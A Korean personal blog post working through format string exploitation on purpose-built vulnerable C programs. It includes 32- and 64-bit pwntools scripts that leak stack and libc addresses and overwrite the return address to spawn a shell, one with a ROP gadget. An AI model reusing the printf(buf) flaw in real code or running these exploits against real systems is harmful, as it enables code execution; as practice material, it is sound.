튜기's blogggg

FSB(32bit, 64bit) 연습(feat.mytool)

by St1tch

FSB예제


32bit


//gcc fsb32.c -o fsb32 -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
	char buf[128] = {0, } ;
	int ret_addr = (int)buf ;
	for(int i = 0 ; i < 2 ; i++){
		fgets(buf, 128, stdin) ; 
		printf(buf) ;
		memset(buf, 0, 128) ;
	}
	return 0 ;
}



64bit


//gcc fsb64.c -o fsb64 -mpreferred-stack-boundary=4 
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
	char buf[1024] = {0, } ;
	long long ret_addr = (long long)buf ;
	for(int i = 0 ; i < 2 ; i++){
		fgets(buf, 1024, stdin) ;
		printf(buf) ;
		memset(buf, 0, 1024) ;
	}
	return 0 ;
}




일부러 연습을 위해서 return주소를 릭하기 쉽게 스택에 박아두었다.

그리고 trigger를 쉽게하기 위해 2번의 fsb공격을 할 수 있게 하여서 연습했다.(leak + overwrite)

사실 연습이라기 보다는 내가 만든 fsb payload함수 기능을 점검한다고 연습겸 확인겸 짰다.



32bit exploit


from pwn import *
import stitch

iint = lambda x : int(x, 16)

s = process('./fsb32')

#first
pay  = '%3$x,%39$x'
s.sendline(pay)
ret_addr, main_ret = map(iint, s.recvline().split(',')[:2])
ret_addr += 140

#find libc
libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
system = main_ret - libc['main_ret'] + libc['system']
binsh = main_ret - libc['main_ret'] + libc['binsh']

#second
pay = stitch.fsb(4, {ret_addr:system, ret_addr+8:binsh}, 0)

s.sendline(pay)

s.interactive()





64bit exploit


from pwn import *
import stitch

iint = lambda x : int(x, 16)

s = process('./fsb64')

#first
pay = '%9$llx,%141$llx'
s.sendline(pay)

#find libc
tmp = s.recvline()
ret_addr, main_ret = map(iint, tmp.split(',')[:2])
ret_addr += 1048

libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
system = main_ret - libc['main_ret'] + libc['system']
binsh = main_ret - libc['main_ret'] + libc['binsh']
poprdi_ret = main_ret - libc['main_ret'] + libc['poprdi_ret']

#second
pay = stitch.fsb64(10, {ret_addr:poprdi_ret, ret_addr+8:binsh, ret_addr+16:system}, 0)
s.sendline(pay)

s.interactive()











블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기